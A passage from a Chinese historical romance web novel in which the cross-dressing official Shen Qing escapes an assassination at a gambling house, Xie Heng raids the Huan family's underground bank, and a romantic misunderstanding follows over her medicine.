仿佛是他无比贴心为她找到一个合适又简单的解决办法。 她觉得还是有必要把情况认真解释一下:“桓老板,我是出老千了,但我是出老千把钱都输给这位公子啊,这公子得了便宜还卖乖就算了,但是照你刚刚说的规矩,岂不是应该这公子得赔十倍的银子?” 虽然她看不见谢珩的脸,但还是狠狠瞪了一眼对方,那张青面獠牙的面孔就静默地看着她。 “沈公子,你可没听仔细,”桓老板不慌不忙道:“方才我说的是,按赌金的十倍赔偿,明镜台的规矩,只要出千,不论输赢,就按这一局赌金来算。” 这一局赌金…… 沈青在脑海里略略估摸了一下,最后那一局她可是把前面所有赢回来的银子都下注了,肯定是把她所有身家和本人都卖掉也偿还不起的。 现在还要翻十番。 她不由得腆着脸赔笑起来:“桓老板,事儿我是认了,反正我现在人就吊在这里,我家里什么情况你应该也摸得清楚,你开这么高的价钱,你把我卖十遍我都赔不起,有什么意义呢?” 桓老板好心安慰她:“沈公子不必担忧,我们明镜台办事,也并非不可变通,大家也算有缘,相交一场,我给沈公子出个折中的法子。” 沈青静静听他下文。 “你出千坏了明镜台规矩,这银子非赔不可。但念你一时拿不出来,我们明镜台也不是不通事理,可以不必一次性还清,来日方长,慢慢还便是。” “怎么个慢慢还法?” “你只需要每月还一笔,直到最后还完,当然,这银子可不是让我们明镜台白等的,代价嘛,你也得每月多付两成利息。” “两成?你确定!?” 这么大一笔数额,每月光是两成利息,都够她整个沈府上下所有吃穿用度的开销了。 有侍者递上一张黑木算盘,桓老板微捻胡须,一只手在算盘上拨弄,伴随着一阵清脆的噼啪声,他缓缓道:“沈公子现在领着朝廷三品俸禄,每月俸禄用一半来还债的话,连本带利,五十年正好可以全部还清。” 沈青真是皮笑肉不笑:“那可多谢桓老板为我考虑如此周到。” 哼,想得真美,白拿她五十年俸禄? 他以为这明镜台还能再存在五十年吗? 如果不是谢珩现在杵在那里,一张青面獠牙总是盯着她这边,这个桓老板,绝对没有机会说完这么多话。 行,她先忍着。 见她一脸不耐,桓老板又好心给她出了个注意:“沈公子要是不愿意,也可以先跟我们借了本金,在再跟我玩两场,我看你今日手气这么好,五十年的债,说不定两局就一笔勾销了呢?” 桓老板说话的时候,沈青总盯着他唇边黄鼠狼般弯弯笑意,加上他平缓低沉的语气,别说,还真是令人有跃跃欲试的冲动。 “不必了,我还有要事在身,请桓老板尽快解决了。” 兽脸面具下,看不见也听不出对方太多情绪。 桓老板无不遗憾地看向沈青:“沈公子,抱歉了,客人不给你翻盘的机会。这银子,你一次性还还是……” 沈青白眼一翻:“谁稀罕他给机会了?五十年就五十年,我签字画押就是。” 桓老板由不得肃然起敬:“痛快,桓某佩服。” 明镜台来来往往形形色色的人他实在见过太多,在这样巨额款项前没有半句狡辩就认下画押的,沈青算是第一个。 渝州悍匪之首的行事作风,果然不同凡响。 不必他开口,西南角两个侍者捧了托盘,屈膝行了一礼,就沿着身后的扶梯一前一后下了阁楼。 沈青心中不由感叹,富贵人家就是讲究,金银财宝都要放在西南财神爷坐镇的方位。 她有些聊赖地在半空中吊了会,那两名侍者很快就回来,手上的托盘,各自被一沓沓银票堆满,累累压实,显得那托盘上似有千金重。 一个人的五十年,不过瞬息之间的一场赌局。 桓老板最后问了一遍:“沈公子可确定了?签字画押后可就再也不可抵赖。” “来吧,早点画完早点了结。” 待沈青应下,悬在屋梁上的麻绳缓缓往下放,她的身子也随之下坠,直到双脚终于踏实地踩在地面上,一双手被捆得微微发麻,终于能略微放松一下。 她还没来得及扭动一下手腕,一张白底黑字赫然用红泥印了明镜台徽记的字据就递到她面前,上面密密麻麻的字迹她也懒得看,用还被捆着的一双手歪歪斜斜写上自己名字,按了手印。 “欸——” 刚做完这一切,腕上捆着她的麻绳突然又被拉紧,她被一股力道拽着往后拖,好不容易才感受到地面踏实的双脚,又重新悬空,整个人又被吊了上去。 “不是,我都已经签字画押了,桓老板这是什么意思?”她气得质问。 桓老板没有看她,而是转而看向他身边的青衣公子:“王公子,此人出千扫了你兴致,你看我们明镜台这般处置,你可还满意?” “甚好。” 沈青目光愤愤扫过去,甚好,真是甚好。 虽然跟她对视的是一张青面獠牙毫无温度的兽面,但是她几乎可以想象到,这张冷冰冰的兽面下,那张风华绝代的玉容,唇边应该挂着怎样一抹既得逞又理所当然的笑意。 得到满意的答复,桓老板随意从托盘上拿了一沓银票:“一点歉意,还望公子笑纳,以后还请多照顾我们明镜台的生意。” 谢珩理所当然收了银票:“桓老板处事如此果决干脆,难怪明镜台日日风生水起。” 两人客套了几句,谢珩拱手告辞离去,青衫背影像一个匆匆江湖客,不会在何处多做停留。 还被吊在半空中的沈青怅然感叹,怪不得是洛京第一公子呢,人与人之间果然差别巨大。在同一张赌桌上,谢珩不仅分毫未输,还能白得一沓银票,她呢,一枚铜板都没赢到,转眼就背负了五十年的债。 难怪当初在莽山被他算计于股掌之中,现在换了张方寸之间的赌桌,又被他耍得团团转,真是来气。 她语气忍不住暴躁:“桓老板,这事还有完没完了?” 桓老板这才缓缓看向她,他看过来的一瞬,阁楼里门窗同时被关上,整个屋子被彻底封闭起来。 好在屋内明灯晃晃,那张始终迎来送往的笑脸带上杀意。 沈青目光微凝,这感觉她可太熟悉了,要杀人灭口的前奏。 但在这间阁楼,至少前面很长一段时间,他们在讨论借钱还债的问题时,这位桓老板绝对还没起过杀心。 她迅速回想了一下,应该是在两位侍者下楼取银票的时候,有个小厮模样的人进来伏在他肩头耳语了几句,当时看他若无其事,没想到是跟自己有关。 现在打发走了谢珩,就要动手了。 果然,桓老板脸上再没半分笑意:“沈公子,桓某赏识你洒脱利落,本想交个朋友,可惜有人下令,让我今晚不顾一切取了你的命,那就只好得罪了。刚签的这五十年债,就拿你一命正好抵了。” “我一命不值钱,这生意还是桓老板亏了。” “有命在身,桓某也不得不行事。” 沈青疑惑:“我好歹也是朝廷三品官员,就这么随意,说杀就杀吗?” 桓老板最后还算耐心解释:“你出入赌坊之间,在赌桌上出老千,跟赌坊里的人吵架起了冲突,不小心被失手打死。” 听到自己死因如此,沈青稍微挑了挑眉尾,感受了一下这间阁楼四周的守卫,忍不住失笑:“桓老板,我真是很好奇,谁给你派的任务?你们桓家家主或是某一位长辈?还是其他人?” 事实证明,她在渝州那么令人闻风丧胆的名声,到了洛京后真是每一个人都不当一回事,真的是每一个人! 早就说了,做人真不该这么安分守己。 桓老板以为她是垂死前最后的徒劳拖延,没跟她废话,手边有人递上一把弩箭,他缓缓将弩箭抬起,对准被吊在半空中的人影。 沈青盯着那根黑不溜秋的尖锐箭头正直勾勾对准自己胸口,还是很想不通:“你说他们到底怎么想的啊?怎么会认为一间赌坊的掌柜,能杀了我?” 要是她这么好杀,当初谢珩大费周章在渝州跟她这么周旋算什么呢?这些世家的轻蔑态度,甚至她都有点替谢珩抱不平了。 “桓老板!不好了!” 紧闭的门窗忽然被打开一扇,有侍者慌张冲进来,桓老板手中蓄势待发的弩箭被迫中断放下。 “何事?” “北军的萧瑞,率了一众禁卫军来明镜台,说是例行检查,可是一进来就几乎要把明镜台掀翻的阵仗,几个坊间的客人都被赶跑了。” 侧耳细听,果然能听见外面遥遥有器物摔打和人群推搡奔走的声音,凌凌乱乱。 桓老板愣了一下,不屑道:“明镜台什么时候轮得到禁卫军来例行检查了?这小子不要命了,不必多客气。” 他迅速点了几个侍者模样的人出去,阁楼的门窗再次被紧紧关上,这次沈青感受到,阁楼四周的守卫差不多被分了一半出去。 有时候她也不得不感叹,她在渝州行事,毫无法度,是因为匪徒本就在法度之外。 天子脚下,高门贵勋,他们在法度之内,行事作风,令她叹为观止。 她只是不遵循法度,而他们,所谓法度,都是他们制定出为自己行事方便杀人越货的规则罢了。 真是自愧不如。 安排完手下出去应付萧瑞,桓老板又重新将视线落在沈青身上:“倒是没想到,你的人居然来这么快。” 沈青慢吞吞道:“你看看我在这里吊了多久?我的人还不来,那未免也太废物了吧。” 桓老板重新举起弩机,慢慢将准头对向吊在半空中的人。 “沈公子失算了,你这招调虎离山不管用,萧瑞带的那点人,还不值当我亲自出面。” 调虎离山? 他未必还觉得自己只是老虎吗? 沈青头顶冒出两个问号。 不过那支弩箭已经没有给她多余的思考时间,瞬间破空而出,蓄满凌厉之势,直冲沈青心口。 千钧一瞬,箭头要没入她心口将人一箭击穿时,没有想象中的热血飞溅,沈青用自己的腰力生生将自己身体翻转过来,明明捆着她双手的麻绳,现在已经被她绕在脚踝上,像一只倒挂着的蝙蝠。 ……但是比蝙蝠要姿态优美得多。 桓老板来不及多想,举起弩机对着倒挂在空中的人又“突突”放了几箭,空中白影翩跹,像是在悠哉地荡着秋千,轻飘飘绕开几支利箭。 他心中一慌,阁楼四周的暗卫纷纷翻身而进,没人来得及出手,空中白影一闪,桓老板就眼睁睁看着自己被扑倒在地。 沈青压制在他身上,膝盖抵住他的喉头,认真告诉他:“这间房里,可只有一只老虎。” 桓老板不明所以,只见沈青笑得人畜无害:“就是我啊。” 一屋子没有来得及出口的暗卫,团团将两人围住,此时也不敢再出手。 “大哥!” 萧瑞身披银甲带人冲了进来,沈青利落地将手上麻绳绕着桓老板脖颈缠了几圈,将麻绳一头扔给萧瑞。 “把这里控制住。” 她没有多留,随便推开一扇窗跳了出去。 外面还是一片凌乱打斗,没人来得及管这个唇红齿白的小公子,沈青绕过处处冲突,在西南回廊处找到谢珩留下的一点痕迹。 是暗卫们常用来给同伴们指引方向的麟粉,在沉木地板上闪着细细白光。 70-80 第71章 第71章怎么男人的腰也会这样引…… 沈青板着一张俊俏的脸儿,循着路面上时不时的一点微末痕迹,走到阁楼西南角的院子里时,身后的打斗声越来越远,这院 中更是寂静无人,全然与前面的喧闹截然不同。 像是一间普通的住人小院,几间低矮的厢房并列排着,不是主人家的住所,应该是明镜台侍者小厮们落脚的地方。 院中各厢房檐角下都挂了明灯,虽是夜晚,院中景致依然被照得通明。 她在院中一口老井前稀疏几根野草根边,看到最后的磷粉痕迹,探头往井里头看去,圆圆井面,碧水无波,清晰地映出一张清绝楚楚容颜。 四下静谧得过于诡异,如果这里是地下钱庄的入口,居然无人把守吗? 她将手探进井水中,没有想象中的凉沁沁,这水分明就是被人放了些时候的一滩死水。 果然,再往深一点探去,就摸到了水底玄关,用力往里一推,碧沉沉的井水褪去,黑黢黢的井口下挂着一张藤梯,看不到尽头,不知要通往何处。 没有太多犹豫,沈青只身翻了下去,顺着藤梯一步一步往下爬,等自己身子彻底下到井面之下,头顶轰轰两声,玄关有自动合上,头顶的水波荡漾将院中明光隔绝在外,眼前顿时陷入一片黑暗。 伸手不可见五指,她只好摸索着藤梯慢慢往下,这藤梯柔软,随着她的动作总要左摇右晃,夜不能视的情况下还要极力维持平衡,更加有些消磨人耐心。 好在这样的情况没有太久,顺着往下爬了一段距离,可以看见脚底升出一点微光。 她最后一点耐性,随着这点微光的出现,而彻底耗尽。 于是往下踩的时候脚下一急,藤梯晃荡得厉害,她连着两三步踩空,只听见耳边“咚”了一下,整个人就直挺挺摔在地面上。 明明看着不高了,这么摔下来还怪疼的。 她痛得“嘶嘶”吸了两口气,从地上缓缓坐起来,七八把锃亮刀尖抵在她脖颈前,团团围成一个圈。 原来这下头这么多人吗? 沈青一时没搞清楚情况,低头看了看抵在自己身前的刀尖,又抬头看着一个个对着自己举刀相向的人。 对方那几人看清来者面目后,面上神情也俱是一愣,双方一阵面面相觑后,沈青就眼看着自己脖颈前的几把刀尖缓缓收了回去,几人又重新退开各执其职沿墙站直,目不斜视。 仿佛当没看见这人。 这下她也看清楚了,这些人披甲带刀,银甲上的徽记清晰可辨,是谢家的亲兵。 她赶紧一骨碌从地上爬起,随手拍了拍身上灰尘,又在这几个亲兵眼前晃来晃去走了两圈,得到的是他们极力逃避想忽视她存在的并祈求她快点离开的目光,她这才心安理得大步往前。 这虽然是一处地宅,但也不影响其气势恢宏。 沈青沿路走进去的这条长廊,两边都是垒砌坚实的石壁,连脚底的路面都是用大理石铺就,踩在地面上,连靴底都能感受到路面上厚重的纹路。 廊中灯火,点在从石壁上长出的兽头烛台上,仔细看那兽头便是一只只貔貅脑袋,口中衔着烛火明明,照亮一路长廊,很是壮观。 只是这廊中,才刚刚经历了一番激烈打斗,入目可见处处狼藉,幽闭的空间里,血腥气尤为刺鼻。 原来不是此处静谧无人看守,是已经落入谢珩的掌控之中罢了。 通过长廊,这座传说中勾连着洛京世家重要财务流水的地下钱庄全貌,终于才眼前缓缓呈现。 有赫然堆积于眼前的金山银矿,有几间库存撂满的银票,有将朝廷官币熔炼成私钱工坊,还有刑具骇然的狱房。 这地下钱庄的规模犹如一座赫赫地宫,倒显得头顶上那座令人舍生忘死的明镜台,不过是冰山一角罢了。 下意识的有一瞬间,沈青忽然想到京郊义庄下,同样也有一间不可见天日的地室,只不过简陋破败,多年来寂寂青灯,供奉着一张没有文字的牌位。 她信步闲庭般走在这偌大钱庄中大开眼界,当然,钱庄里的人现在都被控制住,每一处都有谢家亲兵驻守,只不过所有亲兵都目不斜视,全然无视眼前她这么个闯入者。 直到走进一间账库,密密整整堆满账册的书架前,她终于看到那道颀长青影。 本来走了这一路,处处令人叹为观止的场面将她心里攥着的那团火缓和了下来,但是她在看到那人瞬间,渐渐堙灭的小火花“蹭”地一下燃起三尺高! “谢珩!!” 青衣公子循声转过头来,那张青面獠牙的兽脸面具被摘下,露出那张清矜如玉的容颜。 他身上穿着是她最喜欢的青色,不像白衣那样不染凡俗,也不像红色官服那样清正整肃,青衣雅隽,衬得人斯文秀挺,像是雨天里,邻家坐在窗前闲闲翻书的公子。 沈青心里头那三尺高的烈烈火焰,顿时就熄了三分。 她还是大步走上前,撩起衣袖兴师问罪:“你说清楚什么意思?看我在上面吊那么久,是不是很好玩?你看我这腕子被勒成什么样了!” 月白袖口下,一双皓腕被衬得凝霜带雪,谢珩垂眸静静看了一眼,眼神中没有太多波澜。 见他没有反应,沈青低头去看,方才被勒得太紧是勒出一道红印,结果她一路走来,手腕上早就干干净净,哪里有半点被勒过的痕迹? 她默默放下袖口,没什么好气:“你到底什么意思?” “你什么时候认出我来的?” 谢珩不答反问,神色有些清冷,眉眼间隐隐还有愠色。 他心平气和的质问反倒比她的剑拔弩张更有震慑,虽然不知道他问这话跟她说的话有什么关联,沈青还是下意识想了一下,一开始她就见这青衣公子玉树仙姿仪态不凡,跟他玩了几局后,忍不住出言戏谑,没想到这人不过听了两句轻浮的话,身子都绷紧了。 她就想到了谢十三。 再然后,那种很熟悉很压迫的侵占性迎面而来,她就知道自己对面坐的人是谁了。 以为谢珩是因为自己识破了他的精心伪装而不悦,沈青有些许得意,不由得嘲讽他:“哼,别白费什么心机了,你就算是化成灰我都认得你。” 原来她一开始就认出来了? “好。”谢珩应下,唇畔不经意勾起一点微不可察的弧度。 “好什么好?” 沈青抬眸见眼前这人氤氲着淡淡愠色的眉眼突然舒朗起来,一双清眸里星星点点,他静静望过来,像是铺天盖地的星河落在她身上。 她下意识就垂眸避开,一垂眸,目光就自然而然落在青衣紧束的腰间。 怎么男人的腰也会这样引人贪看呢? 谢珩平时总是宽衣大袖,姿态清逸如仙,她很少见他这样收束的穿着,窄袖利落,青衫落拓,是她平时自己很喜欢的江湖气装束,可是谢珩比她高挑,这样一身打扮,尤其显得他清颀如竹。 这些天来,他是清瘦单薄了不少,可是腰间紧束,看得出并不是简单的瘦弱,而是劲瘦有力。 她的注意力,第一次从那张倾绝面容,被转移到那道修长窄腰上。 心中气焰突然又熄了几分。 今天可能真的有点诸事不顺,明明自己占理,多么理直气壮的兴师问罪,但她心底那股攥着的火,就这样再而衰,三而竭。 她的语气从气势汹汹的质问变成真诚疑问:“我本来一个人玩得正开心,你非要来搅合,还告我出老千。我被吊在屋梁上那么久,还签了五十年的债,可是都配合你了,你总该告诉我,你打算做什么吧?” 虽然晋王提点让她来查这地下钱庄,今日她没做什么准备,真就是来探探路而已。 现在看这场面,肯定不是探路能收场的了。 “我准备今日就查抄了这钱庄。”谢珩倒也答得坦然。 “啊?现在就查?” 沈青诧异,这钱庄是桓家所有生意的命脉,是洛京世家最重要的银钱活水,这么多年,其实它早就是心照不宣的秘密,没人敢动过这座钱庄,也是因为它背后深受所有世家的庇护。 哪怕是当今天子,也不过是睁一只眼闭一只眼罢了。 “你你……不要命了?” 连她和晋王都只想过要如何徐徐图之,没想到谢珩会用这样强硬的手段直接硬碰。 她手心都有点捏上一把汗,断人财路,可是如杀人父母啊,这比覆灭一个陈郡侯府,比清理一个户部,不知要艰难凶险多少。 谢珩语气倒是淡然:“本来今日也只是过来探访,正好碰到你了,你又帮我牵制住明镜台的人,又顺利找到钱庄入口,既然有你事半功倍,反正已经打草惊蛇,看来择日不如撞日,我觉得今天查抄了它很好。” 这么随意的吗? 就知道这人碰上她不安好心!! 沈青连忙撇开:“我今天就是过来随便看看的,出了事你可千万别扯上我啊。” “当然不会牵连你。”谢珩莞尔应下。 沈青略有点不自在,抬头看了看书架上密密整整的账册,而谢珩,此时就站在专门放置谢家账册的那一栏面前,也是厚厚沓沓 ,塞满了整层书架。 这么大一个地下钱庄,谢家这么大一个家业,中间的黑心往来,不知该有多少。 她不由得心中一动:“你非要查的话,谢家肯定也是脱不了干系的。” 虽然他在清理户部时,也惩治了几个谢氏子弟,但对谢氏来说终究不太关痛痒。可是要动这钱庄,那可是往各个世家的经脉上砍刀子啊。 谢珩怎么样都是谢家子弟,谢家就是他的根基,他真的会狠心挥刀自断经脉吗? 谢珩只是略微沉默一瞬,才淡然道:“若是人身上长了毒瘤,本就该狠心刮骨疗毒,割除毒瘤才能延续生命,一个家族亦是如此。” 沈青注视着他的神色,眉宇间那样坚定孤绝的神色,恍然与小金顶上,他时不时对她说明知不可为而为那样的神色重叠到一起。 一种莫名怅然油然而生:“你清理完户部后,我以为你会继续从三省六部开始下手,没想到你也查到这里了。” 本来她就是为了避开他,才准备从桓家下手,结果与他不谋而合上。 真的是注定要有一段同路吗? 谢珩解释道:“朝廷的三省六部各处机要,无一不变成世家爪牙,从世家下手也是一样的。桓家生意遍布,钱庄统筹,掌握了各世家的钱财流水,金银命脉,先断了这条活水,后面再收拾其他,就容易多了。” “那确实。” 这么一说,他的思路也很有道理,沈青点头认同。 忽然又听他当头一问:“最近你是不是让萧瑞和左思禄查桓家各处生意?” 沈青乍然一惊:“你不会在监视我吧!?” 谢珩喉头微动,绕开她的质问:“这座钱庄背后势力太庞大,即便查抄了它,也未必真的能撼动他们,桓家各处生意细查起来,也没有几个干净的,只有将所有阴暗肮脏都翻出来,才能有蓄势发出致命一击。” 不管怎么样,谢珩现在就是在做着跟她同样的事,沈青只好坦然:“在查,主要是查桓家怎么联合各家势力逼走其他小商户的罪证,你也知道,左思禄当初就是这样被逼离京的。” 谢珩点点头:“正好我跟你查的不一样,我在查桓家的黑市和走私。那你可以把你查到的东西交给我,等这钱庄被查抄完,由我出面一并告发查办。” “把我们查到的东西都交给你吗?” “对,我是大理寺卿,有查案之责,否则恐怕有人告你僭越之罪;何况这件事情前路凶险未知,你不用在明面上卷进来。” 沈青沉默起来,他说得没错,当时她私下搜罗了陈郡侯的罪证,险些被按僭越之罪;何况她和萧瑞将来有很长的路要走,确实不适合太早就暴露于台前。 尤其是这次所查,事关各家身家命脉,前路未知,成败难测。 如果有一把锐利的刀在前面替他们所向披靡,他们隐在后面会安全很多。 想到这里,她神色微凝,那眼下这个境况,跟晋王给她的那个提议有什么区别? 她明明在刻意规避那个提议,可是谢珩已然成为了她手中的一把刀。 她干笑两声,掩盖住砰砰心跳:“那这样的话,功劳岂不是都被你一个人占了?” 谢珩愣了一瞬,没想到她在意这个,有些失笑,不过很快想到对策:“这次查抄钱庄,可以因你被逼借高利为由,萧瑞因此起头例行检查,随后而发现了钱庄的勾当,这样你本就是受害一方。” “你们点到这里,后面的事情就交由我来。查抄了钱庄后,还有千丝万缕的事情要查,还有桓家这些年种种有违法度的行径,各世家经济钱财的勾连,你们查到的,我查到的,都由我来出面。” “如果成了,我会向陛下禀明你们在幕后的功绩,如果不幸……我也能将你们摘干净。” “你看这样,可好?” 最后两个字,他带的尾音太温柔,像是真的在小心翼翼怀着期许征求她的同意。 像一片羽毛,轻飘飘划拉着心口,她心口也跟着微微发颤。 她没有忘记,他们身处这座钱庄之上的明镜台,谋算人心到极致,为的是让世人输到倾家荡产。 而眼前这人,他在须臾之间,给她安排了一桩极为划算的买卖,一场永不会输的赌局,赢了可以一起分红,输了也毫发无伤。 她慢慢垂眸,避开眼前那道清润如水却分外灼人的眸子,目光不经意又落在那劲瘦的腰身上。 “可以。” 第72章 第72章男人嘛,他懂 谢珩的确是一把极为锐利的快刀。 桓家的地下钱庄被翻出,连带着查出洛京中各个世家不少不可见光的勾当,洗钱,放贷,还有许多朝中命令禁止的灰暗产业,其中累积牟利,几乎到了富可敌国的程度。 因为这样广泛而重大的牵连,绝对不是像解决一个陈郡侯府或者户部那样容易,从朝堂到世家,掀起一阵极为汹涌的明争暗斗。 有谢珩这把快刀在前面所向披靡,沈青和晋王不必卷入到这样的纷争旋涡中,倒是能隔岸观火,稳坐钓鱼台。 趁这样的机会,她和晋王渔翁得利,在这样纷争夹缝中不断培植安插自己的势力。 萧瑞也得到前所未有的历练,他虽然还做着禁卫军的校尉,不过在晋王的扶持下,不断结交笼络寒门士族,自己一方势力渐渐丰满,必要的时候,还能推波助澜,在暗中助谢珩一臂之力。 这场风波一直持续了好几个月。 洛京城中春花纷纷谢去,枝头明艳榴花盛放,不久后结出青青小果。 游湖碧波上,莲叶田田,莲花开了一个盛夏,在秋风起时零落成一池枯荷听雨。 秋风瑟瑟,山头林间的红枫,恰似二月春花。 这场风波终于以桓家败落、各个世家银钱财务重重受损而渐渐平息。 一时间,贬官,抄家,入狱,流放……不胜枚举,朝堂中又是一次不大不小的清理换血。 直到最后尘埃落定,谢珩在御前向孝武帝说明了沈青在此案中的功绩,朝野哗然,没想到谢珩向世家根基命脉挥刀相向的背后,还有这悍匪的作用。 一时间关于谢珩受悍匪沈青蛊惑,行事越发离经叛道的言论在京中甚嚣尘上。 沈青对此很是不屑,她觉得那些世家对离经叛道的标准简直有病,什么叫离经叛道?没按他们的规矩来办事,就理直气壮说人家是离经叛道了? 怎么秉公执法为民除害,在他们那里就变成离经叛道了,那这样说来,他们那所谓的经和道,还是离了叛了的好。 论功行赏的时候,萧瑞被提拔上来,连升了几级,虽然还是在禁军中任职,但是从越骑校尉直接擢升了北军中侯,成为统领禁军一位极年轻的将领。 到沈青这里,没在官爵上给她任何晋升和实职,不过赏了她一笔数额巨大的黄金,她还觉得挺高兴的。 尤其是下朝后在宫门口,看到内侍领着一队绿衣小宦一个个手上沉甸甸的,都是装满黄金往她府上送的匣子,她高高扬起的嘴角怎么也压不下来。 谢珩正站在汉白玉的阶下等她。 见她笑意盎然,他眸子里也蕴着点点温润的笑意。 沈青三两步跨下台阶,秋风清爽而萧瑟,她 看眼前清矜如玉的公子,五官眉眼更如雕霜斫玉,温雅中透着几许憔悴冷意。 这几个月来的艰险磨难,很难轻描淡写带过,其中于人的心性何等磋磨,沈青其实都看在眼中。 得益于他的辛苦,她才能腾出手来去做别的布署,才能渔翁得利。 “你受累了。” 她开口,由衷道了声谢。 “暂时告一段落,晚上去小院喝一杯吗?” 谢珩开口,带了点冷意的秋风将他声音也镀上一层清浅平淡,好像就是一个寻常午后,随意的相邀。 其实这几个月来,两人都没有好好坐下来相处过,更别说有闲情逸致喝上一杯了。 偶尔匆匆碰头,也是为了公事,确实到了该好好喝一杯庆祝的时候了。 “好啊,那就今晚小院,不见不散。”沈青痛快应下。 时辰尚早,沈青先回府将朝服换下,又敞开一个个装满黄金的匣子,看得满眼金光,数了又数,直到月上梢头时候,她才恋恋不舍准备去赴约。 一只脚刚迈出沈府的门槛,夜里冷风一吹,她一张小脸顿时煞白。 看来今晚这酒是喝不成了。 她虚虚退回府中,一路扶了门墙才终于回到自己房间,迫不及待抱了汤婆子,严严实实将自己裹在榻上。 自从去年落水受伤大病了那一场,每一次葵水都能要了她的命,好在几个月奔忙的日子正值盛夏,情况似乎好转,现在秋风一起,虚透了的身子骨又原形毕露。 直到岳瑛来给她喂了药,缓了好久,才有些力气说话,便吩咐手下去小院告知谢珩,她要生病爽约,只好下次再约了。 说完便裹着被子倒头睡到天荒地暗。 谢珩很早就到了小院,还是那间瑜字房,夜里窗外不再有觅食清鸣的仙鹤,秋夜里也不再有萤火虫,一张张挂在檐角咧嘴微笑的南瓜灯,显得寂寥了不少。 紫檀圆几上,都是沈青喜欢的点心,她不喜欢吃甜,所以小院的庖厨们新研制了不少口味偏酸偏辣的吃食。 羊脂玉杯里,依然是碧波荡漾的细腰舞。 他对美酒佳酿深有讲究,可是从不会沉溺贪杯,不知为何,眼前一杯细腰舞摆在桌上,他还滴酒未沾,莫名觉得舌尖喉头有了绵绵辛辣的醉意。 一点酒香,闻得人心头微痒。 按捺了一会,他总忍不住又望了一眼壁上更漏,距上一次看过来的时候,不过小半柱香时间,时辰还很早。 以往他一个人在这里静坐,日出到日暮不过转瞬之间,从未注意到这更漏里,水滴是一点一点往下慢慢渗透。 不知要何年何月才能滴完一炷香的功夫。 门外隐隐有脚步由远而近,他不动声色坐得笔挺。 “公子,沈公子方才派人来告,说是病了,今晚不能赴约。”木门从两边打开,立在外面的是鸣山。 病了? 谢珩从圆几前起身,直接走到门口将木屐换下,准备穿鞋。 “公子,沈公子现在已经睡下休息,您不必白跑这一趟。” 睡下了?那确实不该深夜相扰。 谢珩停下手中动作,想起在小金顶的时候,沈青偶尔会有什么怪病上身,通常是在岳瑛房中待几天就好了,所谓怪病,他也没多亲眼见识过,加上沈青并无影响,出了门依然活蹦乱跳,他也没去深究过。 可是她毕竟受过重伤,难道是伤情复发了? 印象中,她从来没有因为生病爽过约,何况下午还在宫门口眉开眼笑的,怎么晚上就病得不能出门? 脑海中思绪一阵纷纭,他当机立断:“去沈府抓到的药铺查,这几个月来沈府所有抓药诊脉的记录,都查清来报。” 鸣山应声而去,谢珩才重新回到圆几前坐下,一桌美味佳肴顿时无味。 细想起来,还是这几个月他太过奔忙,所有注意力都在朝局之上,沈青什么时候有没有身子不适的地方,他一点也想不起来。 壁上更漏点点滴滴,将静夜拉得格外漫长。 直到窗外月色分明,透过疏窗静静铺洒在圆几上,将琉璃盏和白玉杯映出淡淡光辉,鸣山终于回来。 “公子……”他踟蹰了一下,才硬着头皮道:“我问过了,自入京来,沈府就没有断过药,只不过……他们在铺子里抓的都是妇人每月来月事时缓解疼痛的药,还有些……助妇人有孕温补的药。” 说到最后,他声音越来越低,公子一身清影坐在圆几前不动如山,他说的这几句话下来,那道清影凝成寒霜。 谢珩无言垂眸,原来不是她生病了,是夫人身子不爽,便不会再来赴他的约。 尽管他们这几个月来在朝堂上配合得默契无间,尽管他们已经好久没有坐在一起小酌一场。 好一会儿,他听见自己的声音缥缈无依:“只有这些药吗?没有再抓过什么其他药了?” 他还是有几分不死心。 鸣山顿了顿,狠心道:“自沈青入京来,他们在洛京大小药铺所有抓药的记录属下都查遍了,都是些此类用在妇人身上的药。” 谢珩突然从中找到一丝不对劲:“同样的药,为何要寻遍洛京大小药铺?” 鸣山如实道:“别的药方就算了,但是治妇人不孕的药方,天下名医圣手不知能开出多少方子来,这些方子,即便是同样的用药,也有好次的讲究。沈府……大概是有些求子心切,试了不少方子,好几味药太过名贵难寻,寻遍洛京药铺也都是些次类,暂时将就用着。” 这话倒是不假,譬如同样是人参,药农家自己院中所种,怎么也比不上生在雪山之巅孕育百年的老参。 杯盘中的酒水和佳肴彻底凉透,白玉杯中碧沉沉的细腰舞,色泽清艳,好像美人勾唇一笑,笑他痴妄。 他眉目清冷,勾起唇角,也觉得自己好笑。 不过,男人嘛,他懂。 这个世上,不会有哪个男人真心承认自己不行,从前他就有所耳闻,越是有不举之嫌的男子,越喜欢去往秦楼楚馆这样的地方,只有通过跟不同的人不断地尝试,才能找到些许自尊。 子嗣之事也同样,他们宁可让妇人多服食各种药方,也绝不会将责任归咎到自己身上。 当然,这些都不过是徒劳而已。 既然这样,他有什么好介怀的。 要论天下各种名贵药材,洛京中哪里有药铺比得上谢家的库房呢? 他心中冷笑,沉声道:“去照着沈府的方子,把我们府上最好的药材都送过去。” 明明不介怀,但他还是能感受到自己说话时,声音从五脏六腑牵扯出来的疼痛。 “……公子?”鸣山由不理解。 “快去吧。” 谢珩声音很轻,最后三个字,几乎耗尽他全身所有力气。 待鸣山离开,他整个人犹如被抽空,有些无力地半倚在榻边,清隽眉眼黯淡失神。 不过是成全而已,他做得到。 * 可能是骤然入秋的不适应,沈青窝在府上足足四五日,才重新活蹦乱跳起来。 之前爽了谢珩的约,没想到谢珩听说她病了,竟然往府上送了很多名贵药材,好几味药都是她们寻遍了京中所有药铺,有价无市的珍品。 本来因爽约而愧疚的心,更加沉重了。 她也总想要给谢珩送一些什么才好,可是思来想去,她也实在想不到,谢珩能缺什么呢? 琴棋书画,吃穿用度,哪一样不是稀世珍品,她送什么都只会怪寒碜的,人家也用不上。 几乎快要想破脑袋的时候,岳瑛问她:“如果是你,别人送什么给你,你会最开心?” 她不假思索:“黄金。” “……前几天陛下不是送了十匣黄金吗?” “难道黄金还有人嫌多吗?” 两人一起陷入沉默,心照不宣地认为,大概谢珩会是个嫌黄金太多的主? 最后还是岳瑛出主意:“反正不管你送多贵重的东西,都比不上人家本身用的贵重,那就心意最重要,不用去管价值 几何了。” 沈青也很是认同:“那我给他煲一锅汤送去?” 不知为何,她脑海里忽然冒出这个念头,大概是见谢珩这些天为了桓家宵衣旰食实在辛苦? 那日在宫门前见他,原本清瘦的容颜,下颌又分明了许多。 但马上意识到,哪有一个大男人,给另一个男人送汤的? 不行不行,怎么会有这样奇怪的想法。 岳瑛想起自己曾有幸喝过沈青煲的汤,她嘴角难以自抑地抽了抽:“……千万别。” 